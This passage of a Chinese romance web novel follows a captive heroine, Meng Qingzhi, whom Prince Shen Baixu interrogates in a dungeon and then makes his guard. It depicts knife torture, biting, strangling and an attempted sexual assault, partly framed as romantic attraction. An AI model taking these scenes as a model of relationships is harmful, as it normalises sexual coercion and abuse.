“即便做了什么,你也应当上报给本王,由本王亲自惩治。”沈白叙的声音多了几分愠怒:“直接出手,乃是没有将本王放在眼里,并非做客之道。” “那王爷您说,要如何处置?”孟清芷昂首看去,做好了撕破脸皮的准备。 她只希望沈白叙不要再继续使用这等卑劣手段了,她便是被打耳光也好,捅一刀也罢,只要能叫他消了愤怒。怎么都行。 可她没想到,沈白叙的下一句话竟然是将她打入王府地牢。 她神情惊怒,随后又恢复了镇定。 早就知道他在忍着不发作,没想到只是这样就已经忍不住了。 就这样剑拔弩张地开始,倒也可以。她实在是无法容忍这等看不见尽头的凌辱折磨。 梅儿半张着嘴在外头听着,随即便见到几个婆子卷起袖子进门去,下一刻,孟清芷便被她们推推搡搡地带了出来。 沈白叙随即大步离开,并没有在梅儿面前停留片刻。 12. 第 12 章 逼仄阴湿的地牢中,孟清芷皱着眉看着墙上的斑驳,又用手帕捂住口鼻,寻了个干净点的位置坐了下来。 若说心不慌,那一定是假的。她用微微颤抖的手从头上拔了一根尖锐的金簪出来,牢牢攥在掌心,过了一会儿,便察觉到那根金簪已经被自己手心的汗濡湿,她松开手掌,向掌心吹了几口凉气。 沈白叙贵为王爷,她此前不愿与他苟且,出手伤了他,还险些害得他兵败名裂,此番大仇,杀掉她都算是手下留情了。 她虽然不觉得自己做错了什么,但还是想要挣扎一番。 虽然她死后,有可能会回到现代,但哪怕有百分之一的可能会魂飞魄散,她也不愿意去赌。 思绪被牢门处的动静打断,孟清芷站起身,看到沈白叙缓缓迈了进来。 就像那日在营帐中,他的身形也是这般遮天蔽日,挡住了唯一一道光的来源。 眼见着他越走越近,她不由得后退几步,缓缓缩到了墙角处,颤声道:“你先别过来。” 沈白叙不知道她为何到了这般境地还能如此理直气壮。 如果没记错的话,如今她是待审的犯人,他是高高在上的王爷,他们身份有云泥之别。 她竟然还敢使唤他。 连带着此前的仇怨,再加上这点子身份被冒犯的恼羞成怒,他整个人欺身上前,右手揪住了她的衣领。 “王爷。”孟清芷已经回过神来,她字字清晰:“如您所愿,我已经成了阶下囚。可即便是赔了这条命去,恐怕也难以挽回什么。” 她将手上的金簪亮出来:“我先赔王爷那一刀之仇。”言毕,她咬着牙抬起手,朝自己左肩狠狠刺去。 预想中皮肉撕裂的疼痛并没有传来,沈白叙已经牢牢捉住她的右手臂,硬生生地将簪子从她手里拔了出来。 “想要赔罪,不应该是我亲手来才对?” 孟清芷被沈白叙拖拽出来,整个人按在刑架上。 双腿几乎抖个不停,她看向沈白叙阴沉不定的脸,打颤的牙齿紧紧咬住唇,不再与他硬碰硬。 沈白叙一边扯过绳子缚住她的双臂,一边冷笑道:“表侄女,现在才害怕,未免有些太晚了。” 没叫她等太久,他从腰上拔出常年随身携带的匕首,刀鞘拔出,锋芒尽显。 随着他的手臂高高扬起又落下,刀尖尽数没入刑架上,与她的右肩只差一点。 沈白叙满意地将她面上的惊恐尽收眼底,随即又低声劝道:“表侄女,该说的还是趁现在说了罢,免得遭罪。” 孟清芷紧握双拳,心头狂跳,越是恐惧万分地时刻,五官越是敏锐,她依稀闻到他身上传来凛冽的松香气息,混杂着匕首上淡淡的、说不出什么的味道。 或许是他腰间的味道,匕首跟着他时间久了,自然也沾染上了。 她不受控制地扭过头去,希望眼前的一切都是噩梦。 沈白叙只叫她好好交代,可她根本不知道应该交代什么。 或许,叫他消气并不难,只要磋磨她一阵或许就能缓解,但要消除他心中疑虑,只怕并非易事。 “王爷,我当真不知道该说什么。”她放缓了语气,不再称呼他表叔。在当前环境下,表叔这个称呼过于诡异,也太过尴尬。 “那便先说说,你的那位相好的郎君,人称鬼面神君的,是个什么来历?”沈白叙捡了最感兴趣的一位,抛出来问。 “我不知道他的来历,他也不是我的相好,我们只是萍水相逢而已。”孟清芷逐渐寻回了一些底气,她实言相告:“我确实问过他几次,他都不肯说,我只知道他武功高强,名字叫萧声,仅此而已。” 沈白叙明显不满,她说的这些他都能查到,没得到任何有价值的线索,他岂能善罢甘休。 “好,这一点本王姑且相信你。”沈白叙从怀中掏出一沓画纸来,话锋一转:“那么,这么多男人,哪一个才是……” 他拔出匕首,将刀尖抵在她左边脸颊处,逼着她扭过头来,盯着她半是仓皇半是警惕的眼神,低声问道:“表侄女,究竟哪一个才是你的心上人?” 他身上的热气几乎要溢到她身上,心跳不受控制地加速,她只好半歪着头,看着他一一将那些画卷展示出来。 都是画像,分别是萧声、廖文海,还有几张不熟悉的人脸,再之后便是此前见过的郾城财主刘金贵、郾城卖小院予她的何老汉,甚至还有她住过的那间客栈的掌柜和店小二,再就是萧声曾经救助过的一些人,都在上头。 “什么心上人。”这笑话一点都不好笑,她颤声否决了他的说法:“不过都是萍水相逢的路人罢了。” “表侄女还真是魅力出众,这么短时间便引得这么多人帮忙。”沈白叙冷笑一声:“这样看来,我这个做表叔的似乎不用操心你的婚事了。” “表叔到底是操心我的婚事,还是在问别的事?”她听着话头不对,忍不住直直问了过去。 沈白叙没有回答,手上动作却多了几分力道,刀尖在她脸上压出一道痕迹,片刻后,他又松开手,轻轻将匕首在她面上拍了拍。 随即,他如愿以偿地看到她抖了抖,就像他们初次相见时那样。 她还是分毫未变。 右手执着匕首,左手忍不住向被压红的侧脸贴去,在上面揉了揉。随即,右手也缓缓向下,将她衣领处的纽扣系带割开,一片葱白的肌肤瞬间暴露在他面前。 孟清芷轻呼一声,随即又厌恶地别过头去:“表叔请自重,审讯也用不着这般行事!” “寻常疑犯自是不用,但你不同。”他凑近些,仿佛唯恐她听不到,在她耳边压低声音说道:“表侄女似乎还欠着一件事。” “我不欠任何人什么事。”孟清芷想起那夜的经历,不免又是一阵恶心,她语气冷硬:“表叔那夜本就不该对一女子那般行事,我即便出手伤了表叔,也是不得已。” 此前不愿说出口的称呼,如今句句挂在嘴边,似乎时时刻刻在提醒他不可逾矩。 “寻常女子自然有这个底气,可你不一样。”沈白叙冷笑道:“你是本王得胜后的俘虏,与军妓无异,并无半分拒绝的余地。” 孟清芷一时哑然。她知道古人的规矩,可未曾想到沈白叙竟如此直白,一时间也没想好该如何回答。 只听沈白叙继续问道:“怎么不继续解释了,嗯?表侄女?” 孟清芷不受控制地起了一层鸡皮疙瘩,她实在 是无法容忍沈白叙这样阴阳怪气的腔调。 再回过头时,沈白叙已经解开了胸前衣襟,露出左肩上狰狞凶恶的一道疤痕,他近前来,用手指点了点伤疤,温声道:“表侄女,你说,我要不要在同样的位置给你也留一个?” “哦,表叔忘了,表侄女早就说了,要扎一刀还了这仇。”沈白叙轻声说着,手上力道一狠,直接将她的衣衫扯开,露出左肩上稚嫩的肌肤。 孟清芷见他这样,知道他是动了杀心。来不及阻止,她只能偏过头去,用力咬住了右侧衣领。 可等了足足有一盏茶的功夫,预料中撕心裂肺的疼痛并没有来。 她悄悄望过去,见沈白叙执着匕首,刀尖在她左肩上方一寸有余悬着,却迟迟没有落下。 再看他的神色,竟然多了几分犹豫和不忍。 许是因为这份犹豫被她瞧见,沈白叙多了几分恼羞成怒。他咬牙将匕首按下去,刀尖才没入毫厘,便有一股鲜血涌出,染红了她肩上的衣裳。 只是表皮上的伤口,他不满足,再想着往下用力时,余光瞥见她偏着头,紧紧咬着衣领,侧面看去,腮上挂着晶莹的泪珠,浑身发抖,倒多了几分楚楚可怜的意味。 沈白叙紧绷的右手臂忽然卸了力。 孟清芷没料到沈白叙这样心狠,竟然不打算直接捅一刀,而是要用匕首慢慢捅入,给她一些细碎的折辱。她流着泪,发抖的牙关几乎快要把衣领咬破。 岂料等了一会子,沈白叙又忽然没了下一步动作。 孟清芷彻底没了指望,她只能像垂死挣扎的猎物一般,静静等待着掠食者的光顾。 沈白叙在这一瞬想了许多,他面上半红半白,露出难以置信的神色来。 这么多年,他征战沙场数次,朝堂上明争暗斗也屡见不鲜,居然第一次发现自己这般优柔寡断、犹豫不决。 联想起前段时间困扰自己的梦境,他不禁有些毛骨悚然——他不会真的被这小小一女子夺了心魄罢? 尚未想明白这一点,他已经做出了决定,左手控制住微微发抖的右手臂,将匕首甩到一旁,看着殷红的鲜血,他没有半分犹豫地咬了上去。 既然内心深处舍不得用匕首,那就用旁的东西,总之这仇怨一定要报。 孟清芷骤然瞪大的双眼中充满了难以置信,她惊恐地转过脸来,正巧撞见沈白叙扭曲的面容和血丝遍布的双眼。 他像一头从阎罗殿逃出的恶兽,尖利的牙齿发疯般地啃咬人的皮肉。 孟清芷甚至觉得他的牙齿已经穿透了皮肉,啃到了骨头上。 到底是什么样的恨意,才能使他做出这样的事?还是说,他生性残暴,就喜欢这样做事? 绝望如同海浪一样拍打着孟清芷脆弱的心理防线,她忍不住尖叫出声,随即又硬生生憋了回去。 她后悔了。 早知道沈白叙是这样的变态,她就不应该采用那样极端的手法。 不,应当是一开始就不会答应嫁给什么公孙辞。这样她和沈白叙便不会有交集了。 昏暗中,沈白叙忽然松开了口,如梦初醒般的看着那暗紫色的伤疤,像是开了一朵花,伤处流的血为这朵花增添了艳丽的色彩。 13. 第 13 章 沈白叙清醒后,仿佛难以面对这样的自己,他顿了顿,忽然转过头去,大步离开了地牢。 郑玄策已是等了许久,见沈白叙大半日才从地牢出来,神色阴沉,不知道问出了什么没有。 “什么事?”沈白叙问。 月色笼在庭院中,郑玄策头上的白羽帽格外显眼。他轻声答道:“王爷,南边来了密报,说是南廉王近期大病初愈,已经召集了门客商议事情了。” 沈白叙展开密信看了一眼,点点头:“他休息了这样久,如今也该出山了。” “新帝登基伊始,他便称病不曾参与朝贺。如今已经半年有余,大抵是装不下去了。”郑玄策嘲讽般的笑了笑。 “他有底气得罪新帝,我却不能。”沈白叙冷笑一声:“南域地势复杂,易守难攻,他又掌控那处的兵权,自然有底气。” 而他沈白叙除了一个得圣祖皇帝恩宠的母妃,别的几乎是一无所有。 他的母妃姓曾,出身农户,圣祖皇帝征战前朝时偶然遇上,动了兴趣。待征战归来,成立枬朝,便纳入后宫做了曾妃。 曾妃貌美,又抓得住圣祖皇帝的心,几乎算得上盛宠不衰,可惜出身低微,没有靠谱的娘家撑腰,圣祖皇帝驾崩后,除了每个月的例银,几乎什么都没捞着。 便是到了现在,儿子已经封王,另赐府邸,她却仍在宫中蹉跎,新帝也好,先帝也罢,没有半点叫她出宫颐养天年的想法。 亦或是,圣祖皇帝生出的几个儿子都太过优秀,两任皇帝都怕他们生了异心,因此想尽办法辖制,而沈白叙这个北辰王,便只剩下曾太妃这个软肋了。 思绪收回,只听郑玄策劝道:“南廉王有底气,新帝自然对他有所忌惮。此前江城造反一事才轮得到王爷出征,江城军兵符,如今也还在王爷手上。” 这是最大的欣慰了。沈白叙点点头,又问:“查的如何了?” 郑玄策眉头微皱,这孟清芷查来查去,不仅没有丝毫破绽,反而越查越让人觉得她是无辜的,只不过她身世太过可疑,任谁都无法完全相信她无辜。 “罢了。”沈白叙见他为难,也就不再勉强:“你还是先将精力放在南廉王和宫里吧,横竖她已经到了手心里,轻易逃不掉的。” 郑玄策点头称是,又关切道:“王爷,夜深露重,您还是早些回去歇息罢。” 沈白叙到了东院正房内,炉火烧的正旺,屋内暖意融融,他脱了外头披风,颓然坐下来,本来还想去书房处理公务的心骤然又沉了下去。 他如今不过二十二岁,生得一副好样貌,风度翩翩,玉树临风。一双恰到好处的桃花眼含情脉脉,镶嵌在洁白如玉的面颊上。人人都说他长相与曾太妃相似,看上去多了几分儿女情长,却少了做帝王的威武霸气。 不知是不是这个原因,自圣祖皇帝起,便没有瞧得上他这个最小的儿子。虽说宠爱都予了曾妃,但从未允许她的儿子摄政太深。 最终是沈白叙的皇长兄即位,在位不足五年,便因疾病溘然长逝,其子与沈白叙同年,依例继承大统。 自此过后,沈白叙十七岁那年被硬生生掐断的念头,又神不知鬼不觉地长了起来。 皇位谁人都能坐,为何不能是他? 他母妃出身低微,他长相不够威武,这些在他看来都是微末小事。 他为了那个做皇帝的兄长鞠躬尽瘁,做了许多脏事。他十八岁,暗中帮助锦衣卫捏造证据、陷害忠良时,也曾做过噩梦。 而此时,他却只能眼睁睁地看着侄子即位,他不甘心总是这样屈居人后。 …… 地牢里,孟清芷艰难地拢了拢衣袖。 沈白叙离开后,有人过来瞧了一眼,将她从刑架上放了下来。 她又回到那个逼仄的墙角,蜷缩在里面,右手抚上那处刺痛难忍的伤口,咬着牙轻轻揉了揉。 折腾了这一遭,也不知道他消气了没有。 疲惫地闭上双眼,可无论怎么都睡不着。她又渴又饿,又冷又困,只能蜷缩在角落里,默默祷告。 即将天亮时,她终于陷入了半梦半醒的状态。 可下一刻,牢门大开,冷风灌入,她被迫睁开眼,抬头望去,沈白叙苍白却带着狠戾的面容出现在她面前。 他又做噩梦了。 偏偏这一次的噩梦无比真实,她原本模糊的面容这次却十分清晰,脸上带着恰到好处的笑意,一边凑在他耳边轻喘着,一边将热气喷洒在他肩上。 他这次没等到梦中的她再度拿起匕首,便掐住了她的脖子。 只是梦而已,难不成他还要受一个梦辖制? 可梦中的她又忽然红了眼眶,大颗大颗的泪珠滚落,凄美绝伦。 他神使鬼差地松了手。 随即,他的左肩又被刺穿了。剧痛那样真实,仿佛当日之耻又来了一次。 即便是睡梦里,他还是没能斗得过眼前的女子。 不过没关系,现实中她的命已经在他手上了。 没有半分犹豫,他抬手掐上她的脖颈,恶狠狠地用力一拧。 她没有哭,甚至没有发出任何声响,只是静静地看着他,仿佛眼前的一切都理所应当。他就是阎王,是终结她性命的刽子手,她本就无意反抗。 不知为何,沈白叙不由自主地想到那日在营地初见,她不卑不亢地为自己辩解时,那双凤目中闪动的倔强神色。 如今,那双眸子却已经变得暗淡无光,再没了半分生气。 他又松开了手。 “最后一次机会。”他将她抵在墙上,低声警告:“到底说不说实话?” “再不说的话,清晨便是你的死期。” 无论他再如何恐吓,她都没有再说一句话,甚至连个眼神都没有给他。 沈白叙无奈离去后,孟清芷将掉落在墙边的金簪拾了起来。 她心里明白,这次应该是逃不过去了。 其实也能预见这样的结局,毕竟古代不是人人都能活得下去的。 唯一的牵挂便是林霄霄,她自小在孤儿院长大,这还是她唯一的好友。 如果再重来一次,她一定不会听林霄霄的话,去一个偏僻的旅游度假村。 地牢的墙面是白色石块铸就,她用簪子划了几下,墙面上出现了细微的划痕。 她努力积攒力量,在墙角一笔一划反复描摹,最终完成了一串不易察觉的微小字符。 这是她留给萧声的临终遗言,意思是她已经死了,要替她找到林霄霄。 诸般事情她都瞒着,只有林霄霄一事全盘告诉了萧声。 她需要萧声帮她寻找线索。 如果萧声今后有机缘来到这里,应该可以看到这行小字。 还有呢? 她能做的不多,似乎也只有这样了。 还是不甘心,她生平第一次这般狼狈不堪,生死任由旁人拿捏,所有尊严都被人踩在脚底。 她恨沈白叙,也恨这个时代,似乎也有一点点恨自己,沦落到这一步是她做了错的决定,可是世上并没有未卜先知的药。 她曲起双臂环抱住自己。在这异国他乡的最后一晚,只有她自己作陪了。 她就像死刑犯一样,了无生机地半坐在墙角,直到天明,沈白叙再次推门进来。 “孟清芷。”他用威严的声音唤她。 见她没有反应,他又走上前去:“出来。” 依旧是没有半分反应,她整晚没睡,眼下一片乌青,此时竟诡异地熟睡过去,手里紧攥着衣角,额间淌出冷汗来,她竟浑然不觉。 沈白叙居高临下地看过去,她好像在噩梦中,眉头紧皱,身体不自觉地扭动。 很好,如今她的噩梦里也一定多了他的影子。 “表侄女,醒醒。”沈白叙终于没了耐性,伸手在她伤处按了一下,她瞬间惊醒,露出警惕的神情,盯着他看。 “听说表侄女会些武功?”他问。 孟清芷尚在混沌中,一时间没有回应,内心却在极快地思索着:他给她的死法,不会是同武林高手决斗吧? “不会。”她斩钉截铁地说道。 “表侄女不必谦卑。”沈白叙笑笑:“表叔身边刚好缺了个侍卫,不知道表侄女有没有兴趣?” 孟清芷终于忍不住对着他上下打量起来。她迫切地想要知道他到底有没有精神疾病。 一个人,怎么能在这样短的时间里翻云覆雨。翻脸不认人。 前一刻还要杀她,后一刻又言笑晏晏,问她要不要做他的贴身侍卫。 或许这也是他刻意安排的,为的就是看她为了活命而垂死挣扎的狼狈样子。 “这便是表叔给我的死法吗?”她本意是想服个软,可话到嘴边,又变成了带有嘲讽的这句。 沈白叙没再理会她。 片刻后,沈白叙身边的贴身侍卫长闻被小厮潘儿叫到内宅去,长闻一头雾水地问道:“去内宅做什么?” 潘儿坏笑一声:“王爷叫你过去和女人决斗。” 长闻给了潘儿一个肘击,潘儿边笑边躲,长闻也笑了。 很快他就笑不出来了,因为他发现潘儿的说法是对的。 即便孟清芷百般解释自己不太会武功,也无济于事。沈白叙命长闻和她过几招。 这本身就是一场毫无悬念的比武。孟清芷一夜未睡,肩上还有伤,再加上未曾吃喝,哪有半点力气。 更何况,她那点子三脚猫功夫本就不够看。 长闻起初根本下不去手,在沈白叙的注视下,他才懒洋洋地使出了一招。 孟清芷仰头就倒。 旁边潘儿想笑又不敢笑,忙着叫了梅儿柳儿来,才将她扶起来。 又勉强过了几招,沈白叙看得一清二楚,确信她肌骨绵软,力道不足,并非习武之人,这才点了点头。 “从今往后,你就跟着本王做贴身侍卫。” 14. 第 14 章 “比武”结束,本来还在暗自庆幸的长闻听到沈白叙说出这句话后,忍不住瞪大了眼睛:“什么?她当贴身侍卫,那我呢?” 沈白叙不满地看了他一眼:“你自然也是,急什么。” 长闻还想说什么,潘儿从身后扯了一下他的衣服,给他丢了个眼色,这才叫他硬生生把话憋了回去。 回去的路上,潘儿一路抱怨:“长闻,不是我说你,你跟着王爷这样久了,除了武功见长,怎么办事却越来越不着门道了?” “王爷哪里想的是比武切磋,分明就是动了意兴,那姑娘细皮嫩肉的,哪里是做侍卫的料,你担心她抢你的位置,不如担心担心我。” 长闻本想反驳,可细想想又觉得潘儿说的在理,便挠头不语。 今日倒是个艳阳天,孟清芷换上侍卫的衣服,草草洗漱后吃了两口饭,便开始跟着侍卫们在沈白叙待的地方站岗。 临近年关,宫里也没什么事情,沈白叙这两日白天都是在书房。 他偶尔看书,偶尔整理几日前收到的密信,偶尔抬眼看去,从他的角度看到窗外,有一白到发光的人默默站着,脖颈上的痣鲜艳欲滴。 她不抱怨,也不偷懒,只沉默着,嘴唇微微翘起,像是给她无处释放的倔强找到最后的宣泄口。 到了交班时间,她一言不发地随着侍卫们出去,在外院随便找了个地方坐下,将尚有余温的白馒头啃了一口。 “你是孟姑娘不是?”一个婆子在她面前站定,小心翼翼地问。 “我姓刘,是东院的管家婆子,王爷叫我来寻你。”不等她回答,刘婆子继续道。 孟清芷只好捧着没吃完的馒头,回到书房外等着。 等不及了,她就小口小口地吃着馒头,不一会儿就吃完了,这才觉得饥饿感减轻了些。 沈白叙自屋内看去,看到她清冷的面容从容吃着东西,这才感慨一个人的风骨真是浑然天成,即便是站在寒风里吃东西,也这样从容不迫。 叫她进来,她便离得远远的,低着头。 屋内的暖意让人觉得有些头晕,书房未曾有什么熏香,倒是墨香与书香混合在一起,组成了好闻的味道,叫她暂且忘了自己的艰难处境。 她耳边听到梅儿在书房中,柔声细语问沈白叙午膳要用些什么。 沈白叙明显已经无话了,梅儿临走之前又不忘柔情似水地叮嘱道:“王爷,近几日阳光虽好,到底还是冷的,奴婢叫人把披风送来。” 这样温柔的话语,只有对着心上人方能说得出口。 孟清芷低着头,嘴角忍不住勾起一抹嘲讽的笑意。 这个梅儿还真是天真可笑,男人有几个信得过? 若沈白叙真喜欢她,也不至于这么久她还是个普通丫鬟。 以沈白叙的心狠手辣,往后梅儿若是痴缠,少不了她受苦的时候。 梅儿退下时,经过孟清芷身边,不经意间瞥了一眼,见她如此打扮,神色惊疑不定。 随即,她就听见沈白叙的声音:“表侄女,上前来研墨。” 孟清芷没料到他在这个时候使唤她,只好压下心中的不快,慢步上前去。 “王爷,这等事叫表小姐做是不是不妥?还是奴婢来吧。”梅儿震惊过后,马上反应过来,即刻上前去,自然地去拿孟清芷手上的墨条。 孟清芷站着没有出声。 梅儿毕竟是沈白叙的心腹丫鬟,即便再怎么表现,她也无从指摘。 更何况,她昨夜睡得不好,能省些体力就省些,身体才是最大的本钱。 沈白叙淡然向自己身边瞥了一眼,冰冷的语气却像是凝聚了寒冰千层:“让你停了么?” 话自然不是冲着梅儿说的,孟清芷垂下眸子,转动手腕,继续研磨起来。 可梅儿却面色一愣,分明难看起来。 “你先下去罢。”沈白叙眼神盯在书上,淡淡说道。 很快,书房中只剩下他们两个。 沈白叙继续看着书,察觉到一股淡淡的香气自身旁传来。不像是女子身上用的胭脂香气,而是一种很干净的气息,譬如竹林中飘过的清风。 许是墨条里掺的香料吧。 余光看去,身边的女子并没有半分不适的反应,仿佛她在这里是天经地义一般。 胆子很大,这是他初见她时便有的印象。 一直到夜幕降临,沈白叙取出信纸,写了一封回信,堪堪将孟清芷研磨的墨汁用完,这才放下笔。 “表姑母来信,她老人家很是记挂你。”沈白叙忽然开口,同时看向孟清芷。 “你究竟是如何蛊惑了她老人家?”他是真的有几分疑惑。 余晖掩映,半晦半明的光笼罩在孟清芷周身,她脖子上的胭脂痣若隐若现。 就在沈白叙以为自己不会听到答案时,孟清芷轻声开口:“她老人家生性良善,自辨黑白善恶。” 沈白叙出乎意料地笑了笑。 这是说他生性残暴、不辨是非了。 一轮圆月皎皎挂在天边,寒风凛冽,孟清芷将手揣进衣袖里,止不住地跺着脚。 今日才做贴身侍卫,便安排了值夜。 也不知何事这样要紧,沈白叙竟然要在书房彻夜忙碌。 冻到完全没有困意,她和廊下一起值夜的侍卫孙朋面面相觑,可谁都没有开口讲话。 孙朋人虽年轻,但早就听说了孟清芷的事。王爷下的命令谁敢多问? “几更了?”孟清芷还是忍不住,轻声问。 五更交班,她有点熬不住了。 “啊?”孙朋吓了一跳,结结巴巴道:“可能有三更了吧。” 孙朋声音年轻,许是没怎么和女子说过话,整张脸在冬夜中泛起红晕来,人也不抖了。 “你这是第几次值夜?”她忍不住又问。 “第…第二次。” 原来也是个新兵蛋子,怪不得也这样生疏。 “以前都是师父带我一起值夜的。”孙朋忍不住解释了一句。 “你师父是长闻吗?”孟清芷不禁有些好奇。 “不是。”孙朋摇摇头:“你没见过他。” 孟清芷发现和人聊天似乎可以缓解寒意。她见孙朋忽然闭上了嘴,便只好打起精神来找话题:“他叫什么?” 孙朋却噤若寒蝉,不再吭声。 孟清芷差点以为他在刚刚那一瞬间被冻死了,又连问了几句 ,他都紧闭着嘴,她这才察觉出不对劲来。 缓缓回头,斜后方书房大门内,有一道高大的黑影无声无息地出现在书房厚重的棉布帘内,不知道已经站了多久。 孟清芷收回目光,镇定自若地继续值夜。 可身后传来的窥伺的视线,明晃晃地盯在她的身上。 如芒刺背,如坐针毡。 “表侄女。”沈白叙的声音给这场无声的对峙落下帷幕:“进来。” 他的语气很不好,因为他方才又做噩梦了。 明明她已经成了他的阶下囚,已经不再具备威胁性,但他却还是梦到她抓着带血的匕首,在他身上刺出几个孔洞。 为什么这噩梦便过不去了呢? 孟清芷跟着沈白叙的步伐缓缓进去,沈白叙猛地停下,她还没来得及站稳,便听到沈白叙猝然发问:“表侄女可懂得巫蛊之术?” “不懂。”孟清芷虽不知道他又想到了什么,但还是斩钉截铁地回答了他。 沈白叙转身,面无表情地盯着她的双眼。 这双眼睛一如既往的理直气壮,但这一次难掩疲惫神色。 沈白叙破天荒地没有为难她,还叫她提前回去休息了。 她去之后,沈白叙唤了医馆的李郎中来。 听完沈白叙的描述,李郎中摸摸自己的胡子,皱着眉分析起来。 “王爷此番惊梦难眠,可见是心脉受损。但王爷雄心壮气,又不甚合理。”李郎中不知沈白叙噩梦源头,见他遮遮掩掩不肯说,联想到前些时日江城军营传闻,心中大约有了几分猜测。 “若是王爷心中有不平事,心有不甘,可用旧景重现法来疗伤。” “所谓旧景重现,乃是将当日场景复现出来,力求当日所不能为之事,圆当日之憾。过后心结自解。” 沈白叙点点头,心里却暗骂一句庸医。 不是任何情景都能再现,即便刻意模仿,心境也大不相同了。 更何况,孟清芷如今已经是他名义上的表侄女,他如何能……? 送走了李郎中,天色才微微亮。 孟清芷肩头伤疤未曾好全,这一觉睡得也不好。梦里总有狰狞巨兽化作人形啃咬她的皮肉,惊醒后仍心有余悸。 果然,才睡到天亮,便有一个婆子过来,又把她叫了去。 这一次很近,是在东院正房,沈白叙住的地方。 沈白叙也是一夜未眠,眼中布满血丝,神态却依旧平静,他放下手里的书,淡然看过来:“坐。” 孟清芷不知他葫芦里卖的是什么药,静待他开口。 桌上摆着几碟精致的点心并两盏热气腾腾的茶。孟清芷已有多日未曾好好用膳,饥肠辘辘,本来不喜甜食的她竟然多了几分食欲。 沈白叙一反常态,和颜悦色地叫她随意用些点心,在他反复催促下,她才犹豫地拿起了一块蝴蝶酥。 沈白叙甚少有这样张口结舌的时候。 起先他出现噩梦时,曾在江城寻过郎中,那位郎中说,待寻到仇人,日日折辱,心病自解。 如今寻到了,病情并无好转,京城的李郎中又告诉他,需要旧景重现。 他要如何同她说呢? 15. 第 15 章 略一思索间,孟清芷已经吃完了一块蝴蝶酥,她饮了两口茶压压那股甜腻,忍不住又伸出手去,拿了一块红豆蜜糖饼。 沈白叙盯着她起伏的喉咙看了片刻,没用多少功夫就做好了决定。 “你是如何得知,我枕下常年藏着防身的匕首的?”他忽然发问。 孟清芷一口红豆饼含在嘴里,她用了一整盏茶将红豆饼冲下去,食欲顿消,手上吃了一半的红豆饼被她放在桌子一角。 “我不知道。”她摇摇头回答道:“当时只是机缘巧合下摸到了而已。”因着这顿饱饭,她对沈白叙的态度好了几分。 她自己也不知道该如何解释,毕竟这之中巧合太多了。 穿越之前,谁知道她会被公孙辞一眼相中?大婚当日,谁知道沈白叙会选择在这天突袭? 顺着想下去,谁知道该死的沈白叙为何会突然对她感兴趣?以及,谁知道廖家居然与他有亲戚关系? 她垂目沉思时,仿佛多了几分温顺。沈白叙甚少见过这样的她,从椅子上站起来,两步走到她跟前去。 待孟清芷回过神来,沈白叙已是居高临下地站着,俯身笼罩了她,还有步步紧逼的架势。 他的手已经攀上了椅背,从某角度看去,像是将她牢牢圈入怀里。 “表侄女。”他声轻如云:“有无人告诉过你,你发呆的样子其实很好看?” 孟清芷莫名寒毛倒竖,吃下去的点心也变成了沉甸甸的负担,她甚至担心那里面有没有掺什么东西,恨不得马上吐出来。 是啊,沈白叙不光对她有恨,当日也是对她动了意兴的,她怎么能把这一点忘了呢? 眼前晃动着他那张坏笑的脸,犹如湖面般平静的面上,唯有那双桃花眼分外惹人注目。 那双眼睛十分可怕,想要调情时是这样笑的,想要杀人时,大抵也是这样笑的。 她分不清他此时是想调情,还是想杀人。 下意识地想要从椅子和他之间狭窄的缝隙中溜走,可他没有给这个机会。 “表侄女。”他的呼吸逼近,已经缠上了她的发梢:“那日,本王同表姑母说的话,你可还记得?” 他那天说的是对她一见钟情,有非她不娶之意。 孟清芷忽然挣扎起来,她冷着脸,伸出手去,想要推开他,口中说着:“表叔请自重。” “我知道表叔当日是意图抓捕我,所以才故意那样同老太太说的。”她推开沈白叙,极快地站起身来:“表叔若没有旁的事,我先告辞了,今日侍卫队还要去训练。” 话还未讲完,沈白叙已经从后头过来,二话不说,一手握住她的腰,一手抓住她的双腿,将她打横抱了起来。 孟清芷摔在榻上,头晕目眩。 身体比意识先一步做出反应,她下意识地伸腿去踢,脚腕却被他握住,借机脱了两只鞋子。 “放开我!”孟清芷拼命挣扎着,气不打一处来,她没想到沈白叙这样无耻,在这个时候居然还想着这件事。 他手上温度很高,所到之处激起一阵颤栗。他浅笑着,拨开了她垂在脸上的发。 一如当日在营帐中一样,他按住她双手手腕,贴上她的脖颈,辗转几次后,含住了她的耳垂。 她的手挣扎间又伸到枕下,竟然又摸到了一柄熟悉的匕首。 脑海中火花乍现,她几乎没有半点犹豫,将那匕首拔出来,在他坐起身脱自己衣物时,狠狠刺了出去。 时间仿佛凝固起来,她面露惊恐地看着早有防备的他抓住她的手腕,劈手将匕首夺了去。 匕首叮叮当当滚落在地上,沈白叙舒然一笑。 下一瞬,笑容戛然而止,孟清芷抬起腰,扬手在他脸上甩了一巴掌。 “啪!”的一声,清脆可闻。 沈白叙愕然,见孟清芷的表情凶蛮无比,眼中露出你死我活的决绝,嘴角紧绷成一道细线,仿佛他是最十恶不赦的敌人。 这一瞬间,他脸上已经浮现出粉红色的掌印来,他难以置信地伸出手来揉了揉,忽然想到临近年关,明日皇帝召了他入宫议事。 怒火中烧,他又掐上了她的脖子。 既然旧景重现已完成,或许她也没有留存的必要了。 直到她整张脸涨成了红色,外头忽然响起梅儿的声音:“王爷,郑大人有要事禀告。” 他松开手,孟清芷喘了一大口气,拼命咳起来。 “我即刻来。”沈白叙披上外衣,从榻上站起身来,冷着脸直接离去了。 孟清芷没有等到她的审判,她用手肘撑着身体缓缓坐起来,正见到出现在门口的梅儿。 梅儿嘴巴微张,一张俏丽的脸上血色褪尽,门也忘了关,寒冬腊月的风涌进来,孟清芷打了个寒颤。 她没有向梅儿解释的必要,只披上外衣便向外走,回到了日常住着的厢房内。 深夜,同郑玄策谈完后的沈白叙回来了。 梅儿没睡,只在正房等着,待外头传来嬷嬷们问安的声音,她才掀开帘子,请沈白叙进来。 黑色大氅将沈白叙整个人包住,只有帽檐上的白色绒毛露出来。梅儿从他手上接过大氅,摸了摸,发现肩膀处是湿的。 “下雪了?”她问。 沈白叙有心事,没怎么在意外头如何,听她这样一问,倒记起来方才确实有冰凉细小的触感打在脸上,他“嗯”了一声。 梅儿敏锐地发现沈白叙神色并不好,她站定了,问他要不要茶点,他一一回绝,面上神情越来越不耐。 可她还是想问。 “王爷今日不该那样对表小姐的。”她这话说出来,见沈白叙明显黑了脸,自己也知道此话一出定然没了回旋余地,但还是继续说道:“除非王爷要破了人伦纲常,娶她做妻妾?” 沈白叙沉着脸抬起头来,声音不带丝毫温度:“本王再如何,岂是你一个丫鬟能说三道四的?” 